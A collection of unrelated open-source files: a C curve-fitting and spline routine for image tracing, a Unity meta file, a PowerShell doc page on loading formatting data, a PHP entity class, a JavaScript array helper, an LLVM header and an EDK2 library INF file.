for (i = offset; i < CURVE_LENGTH(curve) - offset; i++) {
at_coord current = real_to_int_coord(CURVE_POINT(curve, i));
at_coord next = real_to_int_coord(CURVE_POINT(curve, CURVE_NEXT(curve, i)));
vector_type prev_delta = IPsubtract(previous, current);
vector_type next_delta = IPsubtract(next, current);
if (ONLY_ONE_ZERO(prev_delta) && ONLY_ONE_ZERO(next_delta)
&& ((clockwise && CLOCKWISE_KNEE(prev_delta, next_delta))
|| (!clockwise && COUNTERCLOCKWISE_KNEE(prev_delta, next_delta))))
LOG(" (%d,%d)", current.x, current.y);
else {
previous = current;
append_pixel(trimmed_curve, current);
}
}
if (CURVE_CYCLIC(curve) == FALSE)
append_pixel(trimmed_curve, real_to_int_coord(LAST_CURVE_POINT(curve)));
if (CURVE_LENGTH(trimmed_curve) == CURVE_LENGTH(curve))
LOG(" (none)");
LOG(".\n");
free_curve(curve);
*curve = *trimmed_curve;
free(trimmed_curve); /* free_curve? --- Masatake */
}
/* Smooth the curve by adding in neighboring points. Do this
`filter_iterations' times. But don't change the corners. */
static void filter(curve_type curve, fitting_opts_type * fitting_opts)
{
unsigned iteration, this_point;
unsigned offset = (CURVE_CYCLIC(curve) == TRUE) ? 0 : 1;
at_real_coord prev_new_point;
/* We must have at least three points---the previous one, the current
one, and the next one. But if we don't have at least five, we will
probably collapse the curve down onto a single point, which means
we won't be able to fit it with a spline. */
if (CURVE_LENGTH(curve) < 5) {
LOG("Length is %u, not enough to filter.\n", CURVE_LENGTH(curve));
return;
}
prev_new_point.x = FLT_MAX;
prev_new_point.y = FLT_MAX;
prev_new_point.z = FLT_MAX;
for (iteration = 0; iteration < fitting_opts->filter_iterations; iteration++) {
curve_type newcurve = copy_most_of_curve(curve);
gboolean collapsed = FALSE;
/* Keep the first point on the curve. */
if (offset)
append_point(newcurve, CURVE_POINT(curve, 0));
for (this_point = offset; this_point < CURVE_LENGTH(curve) - offset; this_point++) {
vector_type in, out, sum;
at_real_coord new_point;
/* Calculate the vectors in and out, computed by looking at n points
on either side of this_point. Experimental it was found that 2 is
optimal. */
signed int prev, prevprev; /* have to be signed */
unsigned int next, nextnext;
at_real_coord candidate = CURVE_POINT(curve, this_point);
prev = CURVE_PREV(curve, this_point);
prevprev = CURVE_PREV(curve, prev);
next = CURVE_NEXT(curve, this_point);
nextnext = CURVE_NEXT(curve, next);
/* Add up the differences from p of the `surround' points
before p. */
in.dx = in.dy = in.dz = 0.0;
in = Vadd(in, Psubtract(CURVE_POINT(curve, prev), candidate));
if (prevprev >= 0)
in = Vadd(in, Psubtract(CURVE_POINT(curve, prevprev), candidate));
/* And the points after p. Don't use more points after p than we
ended up with before it. */
out.dx = out.dy = out.dz = 0.0;
out = Vadd(out, Psubtract(CURVE_POINT(curve, next), candidate));
if (nextnext < CURVE_LENGTH(curve))
out = Vadd(out, Psubtract(CURVE_POINT(curve, nextnext), candidate));
/* Start with the old point. */
new_point = candidate;
sum = Vadd(in, out);
/* We added 2*n+2 points, so we have to divide the sum by 2*n+2 */
new_point.x += sum.dx / 6;
new_point.y += sum.dy / 6;
new_point.z += sum.dz / 6;
if (fabs(prev_new_point.x - new_point.x) < 0.3 && fabs(prev_new_point.y - new_point.y) < 0.3 && fabs(prev_new_point.z - new_point.z) < 0.3) {
collapsed = TRUE;
break;
}
/* Put the newly computed point into a separate curve, so it
doesn't affect future computation (on this iteration). */
append_point(newcurve, prev_new_point = new_point);
}
if (collapsed)
free_curve(newcurve);
else {
/* Just as with the first point, we have to keep the last point. */
if (offset)
append_point(newcurve, LAST_CURVE_POINT(curve));
/* Set the original curve to the newly filtered one, and go again. */
free_curve(curve);
*curve = *newcurve;
}
free(newcurve);
}
if (logging)
log_curve(curve, FALSE);
}
/* This routine returns the curve fitted to a straight line in a very
simple way: make the first and last points on the curve be the
endpoints of the line. This simplicity is justified because we are
called only on very short curves. */
static spline_list_type *fit_with_line(curve_type curve)
{
spline_type line;
LOG("Fitting with straight line:\n");
SPLINE_DEGREE(line) = LINEARTYPE;
START_POINT(line) = CONTROL1(line) = CURVE_POINT(curve, 0);
END_POINT(line) = CONTROL2(line) = LAST_CURVE_POINT(curve);
/* Make sure that this line is never changed to a cubic. */
SPLINE_LINEARITY(line) = 0;
if (logging) {
LOG(" ");
print_spline(line);
}
return new_spline_list_with_spline(line);
}
/* The least squares method is well described in Schneider's thesis.
Briefly, we try to fit the entire curve with one spline. If that
fails, we subdivide the curve. */
static spline_list_type *fit_with_least_squares(curve_type curve, fitting_opts_type * fitting_opts, at_exception_type * exception)
{
gfloat error = 0, best_error = FLT_MAX;
spline_type spline, best_spline;
spline_list_type *spline_list = NULL;
unsigned worst_point = 0;
gfloat previous_error = FLT_MAX;
LOG("\nFitting with least squares:\n");
/* Phoenix reduces the number of points with a ``linear spline
technique''. But for fitting letterforms, that is
inappropriate. We want all the points we can get. */
/* It makes no difference whether we first set the `t' values or
find the tangents. This order makes the documentation a little
more coherent. */
LOG("Finding tangents:\n");
find_tangent(curve, /* to_start */ TRUE, /* cross_curve */ FALSE,
fitting_opts->tangent_surround);
find_tangent(curve, /* to_start */ FALSE, /* cross_curve */ FALSE,
fitting_opts->tangent_surround);
set_initial_parameter_values(curve);
/* Now we loop, subdividing, until CURVE has
been fit. */
while (TRUE) {
spline = best_spline = fit_one_spline(curve, exception);
if (at_exception_got_fatal(exception))
goto cleanup;
if (SPLINE_DEGREE(spline) == LINEARTYPE)
LOG(" fitted to line:\n");
else
LOG(" fitted to spline:\n");
if (logging) {
LOG(" ");
print_spline(spline);
}
if (SPLINE_DEGREE(spline) == LINEARTYPE)
break;
error = find_error(curve, spline, &worst_point, exception);
if (error <= previous_error) {
best_error = error;
best_spline = spline;
}
break;
}
if (SPLINE_DEGREE(spline) == LINEARTYPE) {
spline_list = new_spline_list_with_spline(spline);
LOG("Accepted error of %.3f.\n", error);
return (spline_list);
}
/* Go back to the best fit. */
spline = best_spline;
error = best_error;
if (error < fitting_opts->error_threshold && CURVE_CYCLIC(curve) == FALSE) {
/* The points were fitted with a
spline. We end up here whenever a fit is accepted. We have
one more job: see if the ``curve'' that was fit should really
be a straight line. */
if (spline_linear_enough(&spline, curve, fitting_opts)) {
SPLINE_DEGREE(spline) = LINEARTYPE;
LOG("Changed to line.\n");
}
spline_list = new_spline_list_with_spline(spline);
LOG("Accepted error of %.3f.\n", error);
} else {
/* We couldn't fit the curve acceptably, so subdivide. */
unsigned subdivision_index;
spline_list_type *left_spline_list;
spline_list_type *right_spline_list;
curve_type left_curve = new_curve();
curve_type right_curve = new_curve();
/* Keep the linked list of curves intact. */
NEXT_CURVE(right_curve) = NEXT_CURVE(curve);
PREVIOUS_CURVE(right_curve) = left_curve;
NEXT_CURVE(left_curve) = right_curve;
PREVIOUS_CURVE(left_curve) = curve;
NEXT_CURVE(curve) = left_curve;
LOG("\nSubdividing (error %.3f):\n", error);
LOG(" Original point: (%.3f,%.3f), #%u.\n", CURVE_POINT(curve, worst_point).x, CURVE_POINT(curve, worst_point).y, worst_point);
subdivision_index = worst_point;
LOG(" Final point: (%.3f,%.3f), #%u.\n", CURVE_POINT(curve, subdivision_index).x, CURVE_POINT(curve, subdivision_index).y, subdivision_index);
/* The last point of the left-hand curve will also be the first
point of the right-hand curve. */
CURVE_LENGTH(left_curve) = subdivision_index + 1;
CURVE_LENGTH(right_curve) = CURVE_LENGTH(curve) - subdivision_index;
left_curve->point_list = curve->point_list;
right_curve->point_list = curve->point_list + subdivision_index;
/* We want to use the tangents of the curve which we are
subdividing for the start tangent for left_curve and the
end tangent for right_curve. */
CURVE_START_TANGENT(left_curve) = CURVE_START_TANGENT(curve);
CURVE_END_TANGENT(right_curve) = CURVE_END_TANGENT(curve);
/* We have to set up the two curves before finding the tangent at
the subdivision point. The tangent at that point must be the
same for both curves, or noticeable bumps will occur in the
character. But we want to use information on both sides of the
point to compute the tangent, hence cross_curve = true. */
find_tangent(left_curve, /* to_start_point: */ FALSE,
/* cross_curve: */ TRUE, fitting_opts->tangent_surround);
CURVE_START_TANGENT(right_curve) = CURVE_END_TANGENT(left_curve);
/* Now that we've set up the curves, we can fit them. */
left_spline_list = fit_curve(left_curve, fitting_opts, exception);
if (at_exception_got_fatal(exception))
/* TODO: Memory allocated for left_curve and right_curve
will leak. */
goto cleanup;
right_spline_list = fit_curve(right_curve, fitting_opts, exception);
/* TODO: Memory allocated for left_curve and right_curve
will leak. */
if (at_exception_got_fatal(exception))
goto cleanup;
/* Neither of the subdivided curves could be fit, so fail. */
if (left_spline_list == NULL && right_spline_list == NULL)
return NULL;
/* Put the two together (or whichever of them exist). */
spline_list = new_spline_list();
if (left_spline_list == NULL) {
LOG("Could not fit spline to left curve (%lx).\n", (unsigned long)left_curve);
at_exception_warning(exception, "Could not fit left spline list");
} else {
concat_spline_lists(spline_list, *left_spline_list);
free_spline_list(*left_spline_list);
free(left_spline_list);
}
if (right_spline_list == NULL) {
LOG("Could not fit spline to right curve (%lx).\n", (unsigned long)right_curve);
at_exception_warning(exception, "Could not fit right spline list");
} else {
concat_spline_lists(spline_list, *right_spline_list);
free_spline_list(*right_spline_list);
free(right_spline_list);
}
if (CURVE_END_TANGENT(left_curve))
free(CURVE_END_TANGENT(left_curve));
free(left_curve);
free(right_curve);
}
cleanup:
return spline_list;
}
/* Our job here is to find alpha1 (and alpha2), where t1_hat (t2_hat) is
the tangent to CURVE at the starting (ending) point, such that:
control1 = alpha1*t1_hat + starting point
control2 = alpha2*t2_hat + ending_point
and the resulting spline (starting_point .. control1 and control2 ..
ending_point) minimizes the least-square error from CURVE.
See pp.57--59 of the Phoenix thesis.
The B?(t) here corresponds to B_i^3(U_i) there.
The Bernshte\u in polynomials of degree n are defined by
B_i^n(t) = { n \choose i } t^i (1-t)^{n-i}, i = 0..n */
#define B0(t) CUBE ((gfloat) 1.0 - (t))
#define B1(t) ((gfloat) 3.0 * (t) * SQUARE ((gfloat) 1.0 - (t)))
#define B2(t) ((gfloat) 3.0 * SQUARE (t) * ((gfloat) 1.0 - (t)))
#define B3(t) CUBE (t)
static spline_type fit_one_spline(curve_type curve, at_exception_type * exception)
{
/* Since our arrays are zero-based, the `C0' and `C1' here correspond
to `C1' and `C2' in the paper. */
gfloat X_C1_det, C0_X_det, C0_C1_det;
gfloat alpha1, alpha2;
spline_type spline;
vector_type start_vector, end_vector;
unsigned i;
vector_type *A;
vector_type t1_hat = *CURVE_START_TANGENT(curve);
vector_type t2_hat = *CURVE_END_TANGENT(curve);
gfloat C[2][2] = { {0.0, 0.0}, {0.0, 0.0} };
gfloat X[2] = { 0.0, 0.0 };
XMALLOC(A, CURVE_LENGTH(curve) * 2 * sizeof(vector_type)); /* A dynamically allocated array. */
START_POINT(spline) = CURVE_POINT(curve, 0);
END_POINT(spline) = LAST_CURVE_POINT(curve);
start_vector = make_vector(START_POINT(spline));
end_vector = make_vector(END_POINT(spline));
for (i = 0; i < CURVE_LENGTH(curve); i++) {
A[(i << 1) + 0] = Vmult_scalar(t1_hat, B1(CURVE_T(curve, i)));
A[(i << 1) + 1] = Vmult_scalar(t2_hat, B2(CURVE_T(curve, i)));
}
for (i = 0; i < CURVE_LENGTH(curve); i++) {
vector_type temp, temp0, temp1, temp2, temp3;
vector_type *Ai = A + (i << 1);
C[0][0] += Vdot(Ai[0], Ai[0]);
C[0][1] += Vdot(Ai[0], Ai[1]);
/* C[1][0] = C[0][1] (this is assigned outside the loop) */
C[1][1] += Vdot(Ai[1], Ai[1]);
/* Now the right-hand side of the equation in the paper. */
temp0 = Vmult_scalar(start_vector, B0(CURVE_T(curve, i)));
temp1 = Vmult_scalar(start_vector, B1(CURVE_T(curve, i)));
temp2 = Vmult_scalar(end_vector, B2(CURVE_T(curve, i)));
temp3 = Vmult_scalar(end_vector, B3(CURVE_T(curve, i)));
temp = make_vector(Vsubtract_point(CURVE_POINT(curve, i), Vadd(temp0, Vadd(temp1, Vadd(temp2, temp3)))));
X[0] += Vdot(temp, Ai[0]);
X[1] += Vdot(temp, Ai[1]);
}
free(A);
C[1][0] = C[0][1];
X_C1_det = X[0] * C[1][1] - X[1] * C[0][1];
C0_X_det = C[0][0] * X[1] - C[0][1] * X[0];
C0_C1_det = C[0][0] * C[1][1] - C[1][0] * C[0][1];
if (C0_C1_det == 0.0) {
/* Zero determinant */
alpha1 = 0;
alpha2 = 0;
} else {
alpha1 = X_C1_det / C0_C1_det;
alpha2 = C0_X_det / C0_C1_det;
}
CONTROL1(spline) = Vadd_point(START_POINT(spline), Vmult_scalar(t1_hat, alpha1));
CONTROL2(spline) = Vadd_point(END_POINT(spline), Vmult_scalar(t2_hat, alpha2));
SPLINE_DEGREE(spline) = CUBICTYPE;
return spline;
}
/* Find reasonable values for t for each point on CURVE. The method is
called chord-length parameterization, which is described in Plass &
Stone. The basic idea is just to use the distance from one point to
the next as the t value, normalized to produce values that increase
from zero for the first point to one for the last point. */
static void set_initial_parameter_values(curve_type curve)
{
unsigned p;
LOG("\nAssigning initial t values:\n ");
CURVE_T(curve, 0) = 0.0;
for (p = 1; p < CURVE_LENGTH(curve); p++) {
at_real_coord point = CURVE_POINT(curve, p), previous_p = CURVE_POINT(curve, p - 1);
gfloat d = distance(point, previous_p);
CURVE_T(curve, p) = CURVE_T(curve, p - 1) + d;
}
if (LAST_CURVE_T(curve) == 0.0)
LAST_CURVE_T(curve) = 1.0;
for (p = 1; p < CURVE_LENGTH(curve); p++)
CURVE_T(curve, p) = CURVE_T(curve, p) / LAST_CURVE_T(curve);
if (logging)
log_entire_curve(curve);
}
/* Find an approximation to the tangent to an endpoint of CURVE (to the
first point if TO_START_POINT is TRUE, else the last). If
CROSS_CURVE is TRUE, consider points on the adjacent curve to CURVE.
It is important to compute an accurate approximation, because the
control points that we eventually decide upon to fit the curve will
be placed on the half-lines defined by the tangents and
endpoints...and we never recompute the tangent after this. */
static void find_tangent(curve_type curve, gboolean to_start_point, gboolean cross_curve, unsigned tangent_surround)
{
vector_type tangent;
vector_type **curve_tangent = (to_start_point == TRUE) ? &(CURVE_START_TANGENT(curve))
: &(CURVE_END_TANGENT(curve));
unsigned n_points = 0;
LOG(" tangent to %s: ", (to_start_point == TRUE) ? "start" : "end");
if (*curve_tangent == NULL) {
XMALLOC(*curve_tangent, sizeof(vector_type));
do {
tangent = find_half_tangent(curve, to_start_point, &n_points, tangent_surround);
if ((cross_curve == TRUE) || (CURVE_CYCLIC(curve) == TRUE)) {
curve_type adjacent_curve = (to_start_point == TRUE) ? PREVIOUS_CURVE(curve) : NEXT_CURVE(curve);
vector_type tangent2 = (to_start_point == FALSE) ? find_half_tangent(adjacent_curve, TRUE, &n_points,
tangent_surround) : find_half_tangent(adjacent_curve, TRUE, &n_points,
tangent_surround);
LOG("(adjacent curve half tangent (%.3f,%.3f,%.3f)) ", tangent2.dx, tangent2.dy, tangent2.dz);
tangent = Vadd(tangent, tangent2);
}
tangent_surround--;
}
while (tangent.dx == 0.0 && tangent.dy == 0.0);
assert(n_points > 0);
**curve_tangent = Vmult_scalar(tangent, (gfloat) (1.0 / n_points));
if ((CURVE_CYCLIC(curve) == TRUE) && CURVE_START_TANGENT(curve))
*CURVE_START_TANGENT(curve) = **curve_tangent;
if ((CURVE_CYCLIC(curve) == TRUE) && CURVE_END_TANGENT(curve))
*CURVE_END_TANGENT(curve) = **curve_tangent;
} else
LOG("(already computed) ");
LOG("(%.3f,%.3f,%.3f).\n", (*curve_tangent)->dx, (*curve_tangent)->dy, (*curve_tangent)->dz);
}
/* Find the change in y and change in x for `tangent_surround' (a global)
points along CURVE. Increment N_POINTS by the number of points we
actually look at. */
static vector_type find_half_tangent(curve_type c, gboolean to_start_point, unsigned *n_points, unsigned tangent_surround)
{
unsigned p;
int factor = to_start_point ? 1 : -1;
unsigned tangent_index = to_start_point ? 0 : c->length - 1;
at_real_coord tangent_point = CURVE_POINT(c, tangent_index);
vector_type tangent = { 0.0, 0.0 };
unsigned int surround;
if ((surround = CURVE_LENGTH(c) / 2) > tangent_surround)
surround = tangent_surround;
for (p = 1; p <= surround; p++) {
int this_index = p * factor + tangent_index;
at_real_coord this_point;
if (this_index < 0 || this_index >= (int)c->length)
break;
this_point = CURVE_POINT(c, p * factor + tangent_index);
/* Perhaps we should weight the tangent from `this_point' by some
factor dependent on the distance from the tangent point. */
tangent = Vadd(tangent, Vmult_scalar(Psubtract(this_point, tangent_point), (gfloat) factor));
(*n_points)++;
}
return tangent;
}
/* When this routine is called, we have computed a spline representation
for the digitized curve. The question is, how good is it? If the
fit is very good indeed, we might have an error of zero on each
point, and then WORST_POINT becomes irrelevant. But normally, we
return the error at the worst point, and the index of that point in
WORST_POINT. The error computation itself is the Euclidean distance
from the original curve CURVE to the fitted spline SPLINE. */
static gfloat find_error(curve_type curve, spline_type spline, unsigned *worst_point, at_exception_type * exception)
{
unsigned this_point;
gfloat total_error = 0.0;
gfloat worst_error = FLT_MIN;
*worst_point = CURVE_LENGTH(curve) + 1; /* A sentinel value. */
for (this_point = 0; this_point < CURVE_LENGTH(curve); this_point++) {
at_real_coord curve_point = CURVE_POINT(curve, this_point);
gfloat t = CURVE_T(curve, this_point);
at_real_coord spline_point = evaluate_spline(spline, t);
gfloat this_error = distance(curve_point, spline_point);
if (this_error >= worst_error) {
*worst_point = this_point;
worst_error = this_error;
}
total_error += this_error;
}
if (*worst_point == CURVE_LENGTH(curve) + 1) { /* Didn't have any ``worst point''; the error should be zero. */
if (epsilon_equal(total_error, 0.0))
LOG(" Every point fit perfectly.\n");
else {
LOG("No worst point found; something is wrong");
at_exception_warning(exception, "No worst point found; something is wrong");
}
} else {
if (epsilon_equal(total_error, 0.0))
LOG(" Every point fit perfectly.\n");
else {
LOG(" Worst error (at (%.3f,%.3f,%.3f), point #%u) was %.3f.\n", CURVE_POINT(curve, *worst_point).x, CURVE_POINT(curve, *worst_point).y, CURVE_POINT(curve, *worst_point).z, *worst_point, worst_error);
LOG(" Total error was %.3f.\n", total_error);
LOG(" Average error (over %u points) was %.3f.\n", CURVE_LENGTH(curve), total_error / CURVE_LENGTH(curve));
}
}
return worst_error;
}
/* Supposing that we have accepted the error, another question arises:
would we be better off just using a straight line? */
static gboolean spline_linear_enough(spline_type * spline, curve_type curve, fitting_opts_type * fitting_opts)
{
gfloat A, B, C;
unsigned this_point;
gfloat dist = 0.0, start_end_dist, threshold;
LOG("Checking linearity:\n");
A = END_POINT(*spline).x - START_POINT(*spline).x;
B = END_POINT(*spline).y - START_POINT(*spline).y;
C = END_POINT(*spline).z - START_POINT(*spline).z;
start_end_dist = (gfloat) (SQUARE(A) + SQUARE(B) + SQUARE(C));
LOG("start_end_distance is %.3f.\n", sqrt(start_end_dist));
LOG(" Line endpoints are (%.3f, %.3f, %.3f) and ", START_POINT(*spline).x, START_POINT(*spline).y, START_POINT(*spline).z);
LOG("(%.3f, %.3f, %.3f)\n", END_POINT(*spline).x, END_POINT(*spline).y, END_POINT(*spline).z);
/* LOG (" Line is %.3fx + %.3fy + %.3f = 0.\n", A, B, C); */
for (this_point = 0; this_point < CURVE_LENGTH(curve); this_point++) {
gfloat a, b, c, w;
gfloat t = CURVE_T(curve, this_point);
at_real_coord spline_point = evaluate_spline(*spline, t);
a = spline_point.x - START_POINT(*spline).x;
b = spline_point.y - START_POINT(*spline).y;
c = spline_point.z - START_POINT(*spline).z;
w = (A * a + B * b + C * c) / start_end_dist;
dist += (gfloat) sqrt(SQUARE(a - A * w) + SQUARE(b - B * w) + SQUARE(c - C * w));
}
LOG(" Total distance is %.3f, ", dist);
dist /= (CURVE_LENGTH(curve) - 1);
LOG("which is %.3f normalized.\n", dist);
/* We want reversion of short curves to splines to be more likely than
reversion of long curves, hence the second division by the curve
length, for use in `change_bad_lines'. */
SPLINE_LINEARITY(*spline) = dist;
LOG(" Final linearity: %.3f.\n", SPLINE_LINEARITY(*spline));
if (start_end_dist * (gfloat) 0.5 > fitting_opts->line_threshold)
threshold = fitting_opts->line_threshold;
else
threshold = start_end_dist * (gfloat) 0.5;
LOG("threshold is %.3f .\n", threshold);
if (dist < threshold)
return TRUE;
else
return FALSE;
}
/* Unfortunately, we cannot tell in isolation whether a given spline
should be changed to a line or not. That can only be known after the
entire curve has been fit to a list of splines. (The curve is the
pixel outline between two corners.) After subdividing the curve, a
line may very well fit a portion of the curve just as well as the
spline---but unless a spline is truly close to being a line, it
should not be combined with other lines. */
static void change_bad_lines(spline_list_type * spline_list, fitting_opts_type * fitting_opts)
{
unsigned this_spline;
gboolean found_cubic = FALSE;
unsigned length = SPLINE_LIST_LENGTH(*spline_list);
LOG("\nChecking for bad lines (length %u):\n", length);
/* First see if there are any splines in the fitted shape. */
for (this_spline = 0; this_spline < length; this_spline++) {
if (SPLINE_DEGREE(SPLINE_LIST_ELT(*spline_list, this_spline)) == CUBICTYPE) {
found_cubic = TRUE;
break;
}
}
/* If so, change lines back to splines (we haven't done anything to
their control points, so we only have to change the degree) unless
the spline is close enough to being a line. */
if (found_cubic)
for (this_spline = 0; this_spline < length; this_spline++) {
spline_type s = SPLINE_LIST_ELT(*spline_list, this_spline);
if (SPLINE_DEGREE(s) == LINEARTYPE) {
LOG(" #%u: ", this_spline);
if (SPLINE_LINEARITY(s) > fitting_opts->line_reversion_threshold) {
LOG("reverted, ");
SPLINE_DEGREE(SPLINE_LIST_ELT(*spline_list, this_spline))
= CUBICTYPE;
}
LOG("linearity %.3f.\n", SPLINE_LINEARITY(s));
}
} else
LOG(" No lines.\n");
}
/* Lists of array indices (well, that is what we use it for). */
static index_list_type new_index_list(void)
{
index_list_type index_list;
index_list.data = NULL;
INDEX_LIST_LENGTH(index_list) = 0;
return index_list;
}
static void free_index_list(index_list_type * index_list)
{
if (INDEX_LIST_LENGTH(*index_list) > 0) {
free(index_list->data);
index_list->data = NULL;
INDEX_LIST_LENGTH(*index_list) = 0;
}
}
static void append_index(index_list_type * list, unsigned new_index)
{
INDEX_LIST_LENGTH(*list)++;
XREALLOC(list->data, INDEX_LIST_LENGTH(*list) * sizeof(unsigned));
list->data[INDEX_LIST_LENGTH(*list) - 1] = new_index;
}
/* Turn an real point into a integer one. */
static at_coord real_to_int_coord(at_real_coord real_coord)
{
at_coord int_coord;
int_coord.x = lround(real_coord.x);
int_coord.y = lround(real_coord.y);
return int_coord;
}
/* Return the Euclidean distance between P1 and P2. */
static gfloat distance(at_real_coord p1, at_real_coord p2)
{
gfloat x = p1.x - p2.x, y = p1.y - p2.y, z = p1.z - p2.z;
return (gfloat) sqrt(SQUARE(x)
+ SQUARE(y) + SQUARE(z));
}
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: cf9ebc36d43f657468fecb524763e3bc
ShaderImporter:
defaultTextures: []
userData:
|
{
"pile_set_name": "Github"
}
|
---
title: "Loading and Exporting Formatting Data | Microsoft Docs"
ms.date: "09/13/2016"
---
# Loading and Exporting Formatting Data
Once you have created your formatting file, you need to update the format data of the session by loading your files into the current session. (The formatting files provided by Windows PowerShell are loaded by snap-ins that are registered when the current session is opened.) Once the format data of the current session is updated, Windows PowerShell uses that data to display the .NET objects associated with the views defined in the loaded formatting files. There is no limit to the number of formatting files that you can load into the current session. In addition to updating the formatting data, you can export the format data in the current session back to a formatting file.
## Loading format data
Formatting files can be loaded into the current session using the following methods:
- You can import the formatting file into the current session from the command line. Use the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet as described in the following procedure.
- You can create a module manifest that references your formatting file. Modules allow you to package you formatting files for distribution. Use the [New-ModuleManifest](/powershell/module/Microsoft.PowerShell.Core/New-ModuleManifest) cmdlet to create the manifest, and the [Import-Module](/powershell/module/Microsoft.PowerShell.Core/Import-Module) cmdlet to load the module into the current session. For more information about modules, see [Writing a Windows PowerShell Module](../module/writing-a-windows-powershell-module.md).
- You can create a snap-in that references your formatting file. Use the [System.Management.Automation.PSSnapIn.Formats](/dotnet/api/System.Management.Automation.PSSnapIn.Formats) to reference your formatting files. It is strongly encouraged to use modules to package cmdlets, and any associated formatting and types files for distribution. For more information about modules, see [Writing a Windows PowerShell Module](../module/writing-a-windows-powershell-module.md).
- If you are invoking commands programmatically, you can add a formatting file entry to the initial session state of the runspace where the commands are run. For more information about .NET type used to add the formatting file, see the [System.Management.Automation.Runspaces.Sessionstateformatentry?Displayproperty=Fullname](/dotnet/api/System.Management.Automation.Runspaces.SessionStateFormatEntry) class.
When a formatting file is loaded, it is added to an internal list that Windows PowerShell uses to determine which view to use when displaying objects at the command line. You can prepend your formatting file to the beginning of the list, or you can append it to the end of the list. Knowing where your formatting file is added to this list is important if you are loading formatting file that defines a view for an object that has an existing view defined, such as when you want to change how an object that is returned by a Windows PowerShell core cmdlet is displayed. If you are loading a formatting file that defines the only view for an object, you can use any of the methods described previously. If you are loading a formatting file that defines another view for an object, you must use the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet and prepend your file to the beginning of the list.
## Storing Your Formatting File
There is no requirement for where your formatting files are stored on disk. However, it is strongly suggested that you store them in the following folder: `user\documents\windowspowershell\`
#### Loading a format file using Import-FormatData
1. Store your formatting file to disk.
2. Run the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet using one of the following commands.
To add your formatting file to the front of the list use this command. Use this command if you are changing how an object is displayed.
```powershell
Update-FormatData -PrependPath PathToFormattingFile
```
To add your formatting file to the end of the list use this command.
```powershell
Update-FormatData -AppendPath PathToFormattingFile
```
Once you have added a file using the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet, you cannot remove the file from the list while the session is open. You must close the session to remove the formatting file from the list.
## Exporting format data
Insert section body here.
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* This file is part of the Ekino Wordpress package.
*
* (c) 2013 Ekino
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Ekino\WordpressBundle\Entity;
use Ekino\WordpressBundle\Model\User as UserModel;
/**
* Class User.
*
* This is the User entity
*
* @author Vincent Composieux <[email protected]>
*/
class User extends UserModel
{
}
|
{
"pile_set_name": "Github"
}
|
define(['../function/makeIterator_'], function (makeIterator) {
/**
* Array some
*/
function some(arr, callback, thisObj) {
callback = makeIterator(callback, thisObj);
var result = false;
if (arr == null) {
return result;
}
var i = -1, len = arr.length;
while (++i < len) {
// we iterate over sparse items since there is no way to make it
// work properly on IE 7-8. see #64
if ( callback(arr[i], i, arr) ) {
result = true;
break;
}
}
return result;
}
return some;
});
|
{
"pile_set_name": "Github"
}
|
//===-- RuntimeDyldCheckerImpl.h -- RuntimeDyld test framework --*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_EXECUTIONENGINE_RUNTIMEDYLD_RUNTIMEDYLDCHECKERIMPL_H
#define LLVM_LIB_EXECUTIONENGINE_RUNTIMEDYLD_RUNTIMEDYLDCHECKERIMPL_H
#include "RuntimeDyldImpl.h"
namespace llvm {
class RuntimeDyldCheckerImpl {
friend class RuntimeDyldChecker;
friend class RuntimeDyldImpl;
friend class RuntimeDyldCheckerExprEval;
friend class RuntimeDyldELF;
public:
RuntimeDyldCheckerImpl(RuntimeDyld &RTDyld, MCDisassembler *Disassembler,
MCInstPrinter *InstPrinter,
llvm::raw_ostream &ErrStream);
bool check(StringRef CheckExpr) const;
bool checkAllRulesInBuffer(StringRef RulePrefix, MemoryBuffer *MemBuf) const;
private:
// StubMap typedefs.
typedef std::map<std::string, uint64_t> StubOffsetsMap;
struct SectionAddressInfo {
uint64_t SectionID;
StubOffsetsMap StubOffsets;
};
typedef std::map<std::string, SectionAddressInfo> SectionMap;
typedef std::map<std::string, SectionMap> StubMap;
RuntimeDyldImpl &getRTDyld() const { return *RTDyld.Dyld; }
Expected<JITSymbolResolver::LookupResult>
lookup(const JITSymbolResolver::LookupSet &Symbols) const;
bool isSymbolValid(StringRef Symbol) const;
uint64_t getSymbolLocalAddr(StringRef Symbol) const;
uint64_t getSymbolRemoteAddr(StringRef Symbol) const;
uint64_t readMemoryAtAddr(uint64_t Addr, unsigned Size) const;
std::pair<const SectionAddressInfo*, std::string> findSectionAddrInfo(
StringRef FileName,
StringRef SectionName) const;
std::pair<uint64_t, std::string> getSectionAddr(StringRef FileName,
StringRef SectionName,
bool IsInsideLoad) const;
std::pair<uint64_t, std::string> getStubAddrFor(StringRef FileName,
StringRef SectionName,
StringRef Symbol,
bool IsInsideLoad) const;
StringRef getSubsectionStartingAt(StringRef Name) const;
Optional<uint64_t> getSectionLoadAddress(void *LocalAddr) const;
void registerSection(StringRef FilePath, unsigned SectionID);
void registerStubMap(StringRef FilePath, unsigned SectionID,
const RuntimeDyldImpl::StubMap &RTDyldStubs);
RuntimeDyld &RTDyld;
MCDisassembler *Disassembler;
MCInstPrinter *InstPrinter;
llvm::raw_ostream &ErrStream;
StubMap Stubs;
};
}
#endif
|
{
"pile_set_name": "Github"
}
|
## @file
# Component information file for Board Init Library
#
# Copyright (c) 2017, Intel Corporation. All rights reserved.<BR>
#
# SPDX-License-Identifier: BSD-2-Clause-Patent
#
##
[Defines]
INF_VERSION = 0x00010005
BASE_NAME = PeiMultiBoardInitSupportLib
FILE_GUID = E0238683-D3FD-4D97-8874-37C6157E2906
MODULE_TYPE = BASE
VERSION_STRING = 1.0
LIBRARY_CLASS = MultiBoardInitSupportLib
LIBRARY_CLASS = BoardInitLib
[LibraryClasses]
BaseLib
PcdLib
DebugLib
[Packages]
MinPlatformPkg/MinPlatformPkg.dec
MdePkg/MdePkg.dec
[Sources]
